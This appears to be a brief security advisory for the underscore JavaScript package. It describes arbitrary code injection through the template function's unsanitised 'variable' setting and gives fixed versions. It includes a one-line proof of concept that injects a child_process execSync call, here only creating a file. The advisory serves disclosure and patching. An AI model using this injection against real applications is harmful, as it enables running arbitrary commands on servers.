Affected versions of this package are vulnerable to Arbitrary Code Injection via the
template function, particularly when the
variable option is taken from
_.templateSettings as it is not sanitized.
const _ = require('underscore'); _.templateSettings.variable = "a = this.process.mainModule.require('child_process').execSync('touch HELLO')"; const t = _.template("")();
underscore to version 1.13.0-2, 1.12.1 or higher.